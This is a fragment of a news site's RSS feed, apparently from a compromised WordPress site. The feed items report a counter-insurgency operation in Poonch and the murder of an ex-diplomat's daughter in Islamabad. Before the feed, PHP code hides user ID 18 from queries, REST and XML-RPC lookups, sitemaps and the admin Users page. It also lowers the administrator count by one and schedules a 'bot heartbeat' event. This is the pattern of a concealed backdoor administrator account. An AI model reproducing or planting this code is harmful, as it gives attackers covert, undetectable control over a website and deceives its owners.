add_action( 'pre_get_posts', function( $q ) {
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} );

add_action( 'pre_user_query', function( $q ) {
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add_action( 'pre_get_users', function( $q ) {
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add_filter( 'wp_dropdown_users_args', function( $a ) {
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    $exclude[] = 18;

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    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

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add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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        return new WP_Error(
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            array( 'status' => 404 )
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    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
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        $methods['wp.getProfile']
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    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
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                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

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        return;
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    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
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} );
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		<title>As the counter-insurgency operation reaches its 15th day, firing resumes in Poonch, J&#038;K</title>
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					<description><![CDATA[<p>On Monday, firing continued at the encounter location in Mendhar&#8217;s Bhatta Durrian forest, which, along with surrounding forest areas adjoining Surankote (Poonch) and Thanamandi in Jammu and Kashmir&#8217;s Rajouri district, is undergoing a large search operation. &#160; On Monday, the operation entered its 15th day, after nine Army men were murdered in separate ambushes in [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/as-the-counter-insurgency-operation-reaches-its-15th-day-firing-resumes-in-poonch-jk">As the counter-insurgency operation reaches its 15th day, firing resumes in Poonch, J&amp;K</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>On Monday, firing continued at the encounter location in Mendhar&#8217;s Bhatta Durrian forest, which, along with surrounding forest areas adjoining Surankote (Poonch) and Thanamandi in Jammu and Kashmir&#8217;s Rajouri district, is undergoing a large search operation.</p>
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<p>On Monday, the operation entered its 15th day, after nine Army men were murdered in separate ambushes in Surankote and Mendhar on October 11 and 14.</p>
<p>&nbsp;</p>
<p>When terrorists opened fire on a joint search party of the Army and police within a forest in Poonch district on Sunday, an arrested Pakistani terrorist was killed and three security officers were injured.</p>
<p>The post <a href="https://theedgemedia.in/as-the-counter-insurgency-operation-reaches-its-15th-day-firing-resumes-in-poonch-jk">As the counter-insurgency operation reaches its 15th day, firing resumes in Poonch, J&amp;K</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>27-year-old woman, Daughter of Ex-Diplomat murdered in Islamabad : Report.</title>
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					<description><![CDATA[<p>A former pakistani diplomat’s daughter has been murdered in Islamabad, according to a media report on Wednesday, just days after a major diplomatic row broke out between Pakistan and Afghanistan over the alleged abduction of the daughter of Afghanistan’s Ambassador in Islamabad.  Noor Mukadam, 27, daughter of Shaukat Mukadam, was found dead in the capital&#8217;s [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/27-year-old-woman-daughter-of-ex-diplomat-murdered-in-islamabad-report">27-year-old woman, Daughter of Ex-Diplomat murdered in Islamabad : Report.</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400">A former pakistani diplomat’s daughter has been murdered in Islamabad, according to a media report on Wednesday, just days after a major diplomatic row broke out between Pakistan and Afghanistan over the alleged abduction of the daughter of Afghanistan’s Ambassador in Islamabad. </span></p>
<p><span style="font-weight: 400">Noor Mukadam, 27, daughter of Shaukat Mukadam, was found dead in the capital&#8217;s upscale Sector F-7/4 area on Tuesday, Dawn newspaper reported.</span></p>
<p><span style="font-weight: 400">Mukadam has in the past served as Pakistan’s ambassador to South Korea and Kazakhstan. </span></p>
<p><span style="font-weight: 400">Noor Mukadam was killed after being shot at, the daily quoted the police as saying.  </span></p>
<p><span style="font-weight: 400">The killing comes as a storm brews over the safety of diplomatic missions and its personnel in Pakistan.  </span></p>
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